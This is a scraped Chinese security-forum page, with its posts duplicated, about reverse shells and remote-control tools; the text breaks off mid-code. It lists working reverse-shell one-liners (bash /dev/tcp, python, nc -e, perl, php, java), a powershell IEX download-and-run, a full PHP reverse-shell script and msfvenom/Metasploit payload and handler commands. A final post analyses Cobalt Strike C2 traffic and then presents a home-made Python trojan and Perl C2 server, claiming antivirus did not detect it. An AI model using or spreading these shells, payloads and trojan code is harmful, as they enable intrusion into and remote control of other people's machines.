第一条命令会将命令执行结果输出进1文件中,解释一下就是将2(标准错误输出)>(输入)到文件1中
第二条命令会将结果直接输出,这里就是将2(标准错误输出)>(重定向)到1(标准输出)
所以一般情况下,>&和<&的右边的 &都是为了和纯数字文件区别开。bash -i
这条命令中bash -i 表示启动一个交互式shell/dev/tcp/192.168.27.27/7777
/dev/tcp/是linux中的一个特殊设备,打开这个设备就相当于发起了一个socket调用,建立一个socket连接,就表示建立一个socket连接bash -i > /dev/tcp/192.168.27.27/7777
理解了上面之后这条命令就不难理解 bash - i(启动一个交互式shell)>(输出到)/dev/tcp/192.168.27.27/7777





 
这样就可以看到centos和kali建立了一条tcp通道,并且把centos上面的命令执行结果输出到kali中bash -i < /dev/tcp/192.168.27.27/7777
通过上面的实验这条命令现在就很容易理解,就是kali输入命令,执行结果在centos中显示



bash -i > /dev/tcp/192.168.27.27/7777
bash -i < /dev/tcp/192.168.27.27/7777实现了之前输入输出的尝试之后,就是要是把命令的输入和命令的输出结果都在kali中显示,也就是说把上面的两条命令结合起来0>&1
通过上面讲的,0(标准输入)>重定向到1(标准输出)
这就就形成了下面这条命令bash -i > /dev/tcp/192.168.27.27/7777 0>&1





 
这时一个反弹shell就算做好了,但是会发现在kali中输入的命令在centos中也有显示,这显然不是我们想要的
对比一下bash -i > /dev/tcp/192.168.27.27/7777 0>&1
bash -i >& /dev/tcp/192.168.27.27/7777 0>&1
在bash -i >后面少了一个&,结合上面所学,实际上就是后面少了一个2>&1 ,也就是缺少标准错误的重定向。这时就会发现标准错误2不仅显示错误信息,还可以显示输入命令的终端提示符,那么这里的>&就可以理解为将标准错误输出重定向到/dev/tcp/192.168.27.27/7777





 
同样的在命令后面加上2(标准错误输出)>(重定向)&1(标准输出)也可以打到一样的效果bash -i > /dev/tcp/192.168.27.27/7777 0>&1 2>&1
 




0x05参考文献
https://xz.aliyun.com/t/2549
https://www.freebuf.com/articles/system/153986.html
https://www.freebuf.com/articles/system/187584.html 查看全部
0x00什么是反弹shell
攻击者是定服务端,受害者主机主动连接攻击者的服务端程序。
0x01反弹shell的适用场景
被控端因防火墙受限、权限不足、端口被占用等情况受限是需要使用反弹shell
例:
  1. 客户机中了木马,但是它在局域网内,不能被直接连接
  2. 客户机的ip会动态改变,不能被持续控制
  3. 由于防火墙的限制,客户机只能发送请求,不能接收请求
  4. 对于病毒、木马、受害者什么时候中招,什么时候开机,对方的网络环境都未知时,最好建立一个服务端,让恶意程序主动连接

0x02准备环境
CentOS 6.5 :192.168.27.26
kali 2.0 :192.168.27.27
0x03试验过程
首先开启kail2.0的一个端口进入监听状态
ns -lvp 7777

clipboard.png

 
 
然后在CentOS中输入命令
bash -i >& /dev/tcp/192.168.27.27/7777 0>&1

clipboard_(1).png

 
 
这样shell就反弹回了kali上

clipboard.png

 
0x04 原理
linux文件描述符:linux shell下有三种标准的文件描述符
0 - stdin 代表标准输入,使用<或<< 
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
 
在CentOS中输入的>&的含义:
当>&后面接文件时,表示将标准输出和标准错误输出重定向值至文件 
当>&后面接文件描述符(这里可以将文件描述符理解为c语言里面带的指针)时,
表示将前面的 文件描述符重定向至后面的文件描述符

>和>&的区别,最简单的例子
clipboard.png

第一条命令会将命令执行结果输出进1文件中,解释一下就是将2(标准错误输出)>(输入)到文件1中
第二条命令会将结果直接输出,这里就是将2(标准错误输出)>(重定向)到1(标准输出)
所以一般情况下,>&和<&的右边的 &都是为了和纯数字文件区别开。
bash -i

这条命令中bash -i 表示启动一个交互式shell
/dev/tcp/192.168.27.27/7777

/dev/tcp/是linux中的一个特殊设备,打开这个设备就相当于发起了一个socket调用,建立一个socket连接,就表示建立一个socket连接
bash -i > /dev/tcp/192.168.27.27/7777

理解了上面之后这条命令就不难理解 bash - i(启动一个交互式shell)>(输出到)/dev/tcp/192.168.27.27/7777

clipboard_(1).png

 
这样就可以看到centos和kali建立了一条tcp通道,并且把centos上面的命令执行结果输出到kali中
bash -i < /dev/tcp/192.168.27.27/7777

通过上面的实验这条命令现在就很容易理解,就是kali输入命令,执行结果在centos中显示
clipboard.png
bash -i > /dev/tcp/192.168.27.27/7777 
bash -i < /dev/tcp/192.168.27.27/7777
实现了之前输入输出的尝试之后,就是要是把命令的输入和命令的输出结果都在kali中显示,也就是说把上面的两条命令结合起来
0>&1

通过上面讲的,0(标准输入)>重定向到1(标准输出)
这就就形成了下面这条命令
bash -i > /dev/tcp/192.168.27.27/7777 0>&1


clipboard.png

 
这时一个反弹shell就算做好了,但是会发现在kali中输入的命令在centos中也有显示,这显然不是我们想要的
对比一下
bash -i > /dev/tcp/192.168.27.27/7777 0>&1 
bash -i >& /dev/tcp/192.168.27.27/7777 0>&1

在bash -i >后面少了一个&,结合上面所学,实际上就是后面少了一个2>&1 ,也就是缺少标准错误的重定向。这时就会发现标准错误2不仅显示错误信息,还可以显示输入命令的终端提示符,那么这里的>&就可以理解为将标准错误输出重定向到/dev/tcp/192.168.27.27/7777

clipboard.png

 
同样的在命令后面加上2(标准错误输出)>(重定向)&1(标准输出)也可以打到一样的效果
bash -i > /dev/tcp/192.168.27.27/7777 0>&1 2>&1

 
clipboard_(1).png

0x05参考文献
https://xz.aliyun.com/t/2549
https://www.freebuf.com/articles/system/153986.html
https://www.freebuf.com/articles/system/187584.html

渗透测试中弹shell的常用方式

渗透测试zake 发表了文章 • 0 个评论 • 81 次浏览 • 3 天前 • 来自相关话题

0x00概念描述
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。
 
我们先来讲一下什么是正向连接和反向连接。
正向连接:我们本机去连接目标机器,比如ssh和mstsc反向连接:目标机器去连接我们本机
 
   那么为什么反向连接会比较常用呢
    1.目标机器处在局域网内,我们正向连不上他
    2.目标机器是动态ip
    3.目标机器存在防火墙
 
0x01实验环境

攻击机:Kali Linux 192.168.27.xx
受害机:Ubuntu16 
 
 
0x02常见姿势
bush
bash也是最常见的一种方式
Kali监听nc -lvvp 4444
Ubuntu运行bash -i >& /dev/tcp/192.168.27.xx/4444 0>&1





当然你还可以这样exec 5<>/dev/tcp/192.168.27.xx/4444;cat <&5|while read line;do $line >&5 2>&1;done

python
攻击机Kali还是监听nc -lvvp 4444
Ubuntu执行python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.27.xx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
这个payload是反向连接并且只支持Linux
 
nc
如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell
攻击机监听nc -lvvp 4444
目标机器执行nc 192.168.27.xx 4444 -t -e /bin/bash
这样会把目标机的/bin/bash反弹给攻击机
但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

php
攻击机监听nc -lvvp 4444
要求目标机器有php然后执行php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");'或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,如下Linux和Windows两用的脚本



<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$ipaddr = '192.168.27.xx';
$port = '4444';
$msg = php_uname()."\n------------Code by Spider-------------\n";
$cwd = getcwd();

function procopen($cmd,$env,$sock) {
global $cwd;
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
return true;
}

function command($cmd,$sock) {
if(substr(PHP_OS,0,3) == 'WIN') {
$wscript = new COM("Wscript.Shell");
if($wscript && (!stristr(get_cfg_var("disable_classes"),'COM'))) {
$exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c '.$cmd); //自定义CMD路径
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
fwrite($sock,$stroutput);
} else {
$env = array('path' => 'c:\\windows\\system32');
procopen($cmd,$env,$sock);
}
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
procopen($cmd,$env,$sock);
}
return true;
}

$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
echo 'logout!';
break;
} else {
command($cmd,$sock);
}
}
fclose($sock);
?> 
Java 脚本反弹r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.27.xx/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String)
p.waitFor()
 perl 脚本反弹perl -e 'use Socket;$i="192.168.27.xx";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 powershell
目标机器执行powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.27.xx -port 4444



0x03使用msfvenom 获取反弹一句话
msf支持多种反弹方式,比如exe ps php asp aspx甚至是ruby等,我们可以用msfvenom来生成payload,然后在msf中监听,执行之后就会反弹回来session
 
在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:msfvenom -l





 
生成二进制文件
关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f exe > shell.exeLinuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f elf > shell.elfMacmsfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f macho > shell.macho 
如何利用
针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f exe > shell.exe






复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.27.xx

set LPORT 4444

set ExitOnSession false

exploit -j -z   *exploit -j  #后台监听
    set exitonsession false  可以让建立监听的端口继续保持侦听。可以接受多个session
执行完之后在Windows下执行shell.exe,然后结果如图:
 





在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:
       1.双击运行
       2.cmd下运行exe
       3.利用Powershell远程下载执行
       4.利用at或schtasks设置计划任务执行
       5.利用wmic远程命令执行
 
生成webshell脚本
在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?
PHPmsfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.phpASPmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f asp > shell.aspJSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f raw > shell.jspWARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f war > shell.war 
下面以php为例做一下测试,使用以下命令生成一个webshell:msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f raw > shell.php





在kali上使用msf执行下面的命令,监听端口4444:msfconsole

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set LHOST 192.168.27.xx

set LPORT 4444

set ExitOnSession false

exploit -j -z
将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:php shell.php结果如图:






 脚本shell
关于使用脚本反弹shell的方式,主要以python、bash、perl为例。
Pythonmsfvenom -p cmd/unix/reverse_python LHOST=192.168.27.xx LPORT=4444 -f raw > shell.pyBashmsfvenom -p cmd/unix/reverse_bash LHOST=192.168.27.xx LPORT=4444 -f raw > shell.shPerlmsfvenom -p cmd/unix/reverse_perl LHOST=192.168.27.xx LPORT=4444 -f raw > shell.plPowershellmsfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.27.xx LPORT=4444 -f psh > shell.ps1

powershell.exe -ExecutionPolicy Bypass -File shell.ps1



 
下面就以Python为例做一下测试,使用以下命令生成一个脚本:msfvenom -p cmd/unix/reverse_python LHOST=192.168.27.xx LPORT=4444 -f raw > shell.py






在kali上使用msf执行下面的命令,监听端口4444:msfconsole

use exploit/multi/handler

set PAYLOAD cmd/unix/reverse_python

set LHOST 192.168.27.xx

set LPORT 4444

set ExitOnSession false

exploit -j -z
然后复制shell.py中的内容在linux命令行下执行,如下:






结果如图:
 





0x04参考文献
https://xz.aliyun.com/t/5768#toc-4
http://www.myh0st.cn/index.php/archives/67/
https://my.oschina.net/chinahermit/blog/144035
  查看全部
0x00概念描述
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。
 
我们先来讲一下什么是正向连接和反向连接。
  • 正向连接:我们本机去连接目标机器,比如ssh和mstsc
  • 反向连接:目标机器去连接我们本机

 
   那么为什么反向连接会比较常用呢
    1.目标机器处在局域网内,我们正向连不上他
    2.目标机器是动态ip
    3.目标机器存在防火墙
 
0x01实验环境

攻击机:Kali Linux 192.168.27.xx
受害机:Ubuntu16 
 
 
0x02常见姿势
bush
bash也是最常见的一种方式
Kali监听
nc -lvvp 4444

Ubuntu运行
bash -i >& /dev/tcp/192.168.27.xx/4444 0>&1

bash.png


当然你还可以这样
exec 5<>/dev/tcp/192.168.27.xx/4444;cat <&5|while read line;do $line >&5 2>&1;done

python
攻击机Kali还是监听
nc -lvvp 4444

Ubuntu执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.27.xx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

这个payload是反向连接并且只支持Linux
 
nc
如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell
攻击机监听
nc -lvvp 4444

目标机器执行
nc 192.168.27.xx 4444 -t -e /bin/bash

这样会把目标机的/bin/bash反弹给攻击机
但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

php
攻击机监听
nc -lvvp 4444

要求目标机器有php然后执行
php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,如下Linux和Windows两用的脚本
php.png
<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$ipaddr = '192.168.27.xx';
$port = '4444';
$msg = php_uname()."\n------------Code by Spider-------------\n";
$cwd = getcwd();

function procopen($cmd,$env,$sock) {
global $cwd;
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
return true;
}

function command($cmd,$sock) {
if(substr(PHP_OS,0,3) == 'WIN') {
$wscript = new COM("Wscript.Shell");
if($wscript && (!stristr(get_cfg_var("disable_classes"),'COM'))) {
$exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c '.$cmd); //自定义CMD路径
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
fwrite($sock,$stroutput);
} else {
$env = array('path' => 'c:\\windows\\system32');
procopen($cmd,$env,$sock);
}
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
procopen($cmd,$env,$sock);
}
return true;
}

$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
echo 'logout!';
break;
} else {
command($cmd,$sock);
}
}
fclose($sock);
?>
 
Java 脚本反弹
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.27.xx/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String)
p.waitFor()

 perl 脚本反弹
perl -e 'use Socket;$i="192.168.27.xx";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 powershell
目标机器执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.27.xx -port 4444



0x03使用msfvenom 获取反弹一句话
msf支持多种反弹方式,比如exe ps php asp aspx甚至是ruby等,我们可以用msfvenom来生成payload,然后在msf中监听,执行之后就会反弹回来session
 
在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:
msfvenom -l

msfvenom.png


 
生成二进制文件
关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f macho > shell.macho
 
如何利用
针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f exe > shell.exe

shellexe.png


复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:
msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.27.xx

set LPORT 4444

set ExitOnSession false

exploit -j -z
   *exploit -j  #后台监听
    set exitonsession false  可以让建立监听的端口继续保持侦听。可以接受多个session
执行完之后在Windows下执行shell.exe,然后结果如图:
 
exeshell.png


在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:
       1.双击运行
       2.cmd下运行exe
       3.利用Powershell远程下载执行
       4.利用at或schtasks设置计划任务执行
       5.利用wmic远程命令执行
 
生成webshell脚本
在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f war > shell.war
 
下面以php为例做一下测试,使用以下命令生成一个webshell:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.27.xx LPORT=4444 -f raw > shell.php

shellphp.png


在kali上使用msf执行下面的命令,监听端口4444:
msfconsole

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set LHOST 192.168.27.xx

set LPORT 4444

set ExitOnSession false

exploit -j -z

将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:
php shell.php
结果如图:

phpshell.png


 脚本shell
关于使用脚本反弹shell的方式,主要以python、bash、perl为例。
Python
msfvenom -p cmd/unix/reverse_python LHOST=192.168.27.xx LPORT=4444 -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.27.xx LPORT=4444 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.27.xx LPORT=4444 -f raw > shell.pl
Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.27.xx LPORT=4444 -f psh > shell.ps1

powershell.exe -ExecutionPolicy Bypass -File shell.ps1



 
下面就以Python为例做一下测试,使用以下命令生成一个脚本:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.27.xx LPORT=4444 -f raw > shell.py

shellpy.png



在kali上使用msf执行下面的命令,监听端口4444:
msfconsole

use exploit/multi/handler

set PAYLOAD cmd/unix/reverse_python

set LHOST 192.168.27.xx

set LPORT 4444

set ExitOnSession false

exploit -j -z

然后复制shell.py中的内容在linux命令行下执行,如下:

linuxpy.png


结果如图:
 
pyshell.png


0x04参考文献
https://xz.aliyun.com/t/5768#toc-4
http://www.myh0st.cn/index.php/archives/67/
https://my.oschina.net/chinahermit/blog/144035
 

从对CS的Http通道流量分析到写一个自己的远控木马

渗透测试wuyou 发表了文章 • 0 个评论 • 34 次浏览 • 3 天前 • 来自相关话题

最近突然想起之前使用CS的时候,用veil生成exe并注入CS的shellcode时,走http通道时不免杀,走https时可以免杀,所以想对CS的恶意流量进行一下分析
Http通道恶意流量分析
环境:
         Kali作为C&C服务器,搭载默认配置CS和配置了C2-profile的CS,生成的EXE走http通道
         Windows7作为靶机,并开启Wireshark
默认配置CS:
上线:
1、在靶机上双击exe执行远控
心跳包:
2、靶机携带Cookie向服务器发送Get请求
3、服务器返回200并在CS上记录主机上线,刷新最后连接时间




 
wireshark追踪Http流:





命令执行:
4、CS中输入“whoami“命令
5、靶机按睡眠时间发送心跳包
6、服务器返回200和”whoami“命令




 
7、靶机执行收到的命令,并将命令执行结果用POST请求发送到服务器上




 
8、服务器收到POST请求内容,并将命令执行结果显示到CS上




 
接下来使用配置好的C2来进行Http通信:set sample_name "Etumbot";

set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/image/";

client {

header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";

metadata {
netbios;
append "-.jpg";
uri-append;
}
}

server {

header "Content-Type" "img/jpg";
header "Server" "nginx/1.10.3 (Ubuntu)";

output {
base64;
print;
}
}
}

http-post {
set uri "/history/";

client {

header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";

id {
netbiosu;
append ".asp";
uri-append;
}

output {
base64;
print;
}
}

server {

header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";

output {
base64;
print;
}
}
}



 
发送命令:




可以看到,靶机通过GET请求访问了一个随机的jpg文件,服务器返回的命令内容也是通过Base64加密的,而未配置C2的CS访问的是j.ad文件,命令明文传输
我用浏览器直接分别访问两个文件时,j.ad火绒报毒,img文件未报毒

返回命令执行结果:




靶机通过POST请求访问一个随机的asp文件,并将命令执行结果Base64加密
 
写一个自己的远控:
通过对以上流量进行分析,CS的Http通道工作机制我们已经可以大致了解了,所以我想试一试自己写一个远控
(代码写的还很粗糙,暂时没有优化的必要)
远控代码:#!/usr/bin/python
# -*- coding: UTF-8 -*-

import requests
import time
import re
import subprocess
import chardet
#C&C服务器Url
url = "http://192.168.27.29:8080/command.html"

while True:
#发送Get请求获取命令内容
result = requests.get(url=url,data=None)

command = re.split('~',result.content.decode('utf-8'))

#执行命令并返回结果
p = subprocess.Popen('{}'.format(command[1]),shell=True,stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
data = p.stdout.readlines()
com_data = ""
for x in range(len(data)):
com_data = com_data + data[x].decode('gbk')

#发送POST请求提交命令执行结果
request = requests.get(url=url + com_data)
time.sleep(10)
将上面的Python代码编译成exe即成为我们的靶机运控木马

远控平台刚开始我是想用Apache+PHP来写,但写到一半想到,这和Webshell没多大区别啊,而且也很臃肿,所以我想到《Http权威指南》上介绍的用Perl写一个Web服务器的方法
放上远控平台代码:#!/usr/bin/perl
use Socket;
use Carp;
use FileHandle;

$port = (@ARGV ? $ARGV[0] : 8080);
$http = "HTTP/1.1 200 OK
Connection: close
Content-type: text/plain"

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die;
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) || die;
bind(S, sockaddr_in($port, INADDR_ANY)) || die;
listen(S, SOMAXCONN) || die;


printf(" <<<Type-O-Serve Accepting on Port %d>>>\n\n",$port);

while (1)
{

$cport_caddr = accept(C, S);
($cport,$caddr) = sockaddr_in($cport_caddr);
C->autoflush(1);

$cname = gethostbyaddr($caddr,AF_INET);
printf(" <<<Request From '%s'>>>\n",$cname);

while ($line = <C>+$http)
{
print $line;
if ($line =~ /^\r/) { last; }
}

printf(" <<<Type Response Followed by '.'>>>\n");
while ($line = <STDIN>)
{
$line =~ s/\r//;
$line =~ s/\n//;
if ($line =~ /^\./) { last; } print C $line . "\r\n";
}
close(C);
}执行效果:
先在Linux上运行Web服务器代码,监听8080端口




 
双击执行远控木马,服务器收到Get请求的心跳包




 
在服务器上输入要执行的命令,并作为响应包发送给靶机
靶机执行命令,并将结果拼接到url中再次发送Get请求给服务器




 
全程火绒静默,exe查杀无毒

  查看全部
最近突然想起之前使用CS的时候,用veil生成exe并注入CS的shellcode时,走http通道时不免杀,走https时可以免杀,所以想对CS的恶意流量进行一下分析
Http通道恶意流量分析
环境:
         Kali作为C&C服务器,搭载默认配置CS和配置了C2-profile的CS,生成的EXE走http通道
         Windows7作为靶机,并开启Wireshark
默认配置CS:
上线:
1、在靶机上双击exe执行远控
心跳包:
2、靶机携带Cookie向服务器发送Get请求
3、服务器返回200并在CS上记录主机上线,刷新最后连接时间
1.png

 
wireshark追踪Http流:
2.png


命令执行:
4、CS中输入“whoami“命令
5、靶机按睡眠时间发送心跳包
6、服务器返回200和”whoami“命令
4.png

 
7、靶机执行收到的命令,并将命令执行结果用POST请求发送到服务器上
5.png

 
8、服务器收到POST请求内容,并将命令执行结果显示到CS上
3.png

 
接下来使用配置好的C2来进行Http通信:
set sample_name "Etumbot";

set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/image/";

client {

header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";

metadata {
netbios;
append "-.jpg";
uri-append;
}
}

server {

header "Content-Type" "img/jpg";
header "Server" "nginx/1.10.3 (Ubuntu)";

output {
base64;
print;
}
}
}

http-post {
set uri "/history/";

client {

header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";

id {
netbiosu;
append ".asp";
uri-append;
}

output {
base64;
print;
}
}

server {

header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";

output {
base64;
print;
}
}
}
6.png

 
发送命令:
7.png

可以看到,靶机通过GET请求访问了一个随机的jpg文件,服务器返回的命令内容也是通过Base64加密的,而未配置C2的CS访问的是j.ad文件,命令明文传输
我用浏览器直接分别访问两个文件时,j.ad火绒报毒,img文件未报毒

返回命令执行结果:
8png.png

靶机通过POST请求访问一个随机的asp文件,并将命令执行结果Base64加密
 
写一个自己的远控:
通过对以上流量进行分析,CS的Http通道工作机制我们已经可以大致了解了,所以我想试一试自己写一个远控
(代码写的还很粗糙,暂时没有优化的必要)
远控代码:
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import requests
import time
import re
import subprocess
import chardet
#C&C服务器Url
url = "http://192.168.27.29:8080/command.html"

while True:
#发送Get请求获取命令内容
result = requests.get(url=url,data=None)

command = re.split('~',result.content.decode('utf-8'))

#执行命令并返回结果
p = subprocess.Popen('{}'.format(command[1]),shell=True,stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
data = p.stdout.readlines()
com_data = ""
for x in range(len(data)):
com_data = com_data + data[x].decode('gbk')

#发送POST请求提交命令执行结果
request = requests.get(url=url + com_data)
time.sleep(10)

将上面的Python代码编译成exe即成为我们的靶机运控木马

远控平台刚开始我是想用Apache+PHP来写,但写到一半想到,这和Webshell没多大区别啊,而且也很臃肿,所以我想到《Http权威指南》上介绍的用Perl写一个Web服务器的方法
放上远控平台代码:
#!/usr/bin/perl
use Socket;
use Carp;
use FileHandle;

$port = (@ARGV ? $ARGV[0] : 8080);
$http = "HTTP/1.1 200 OK
Connection: close
Content-type: text/plain"

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die;
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) || die;
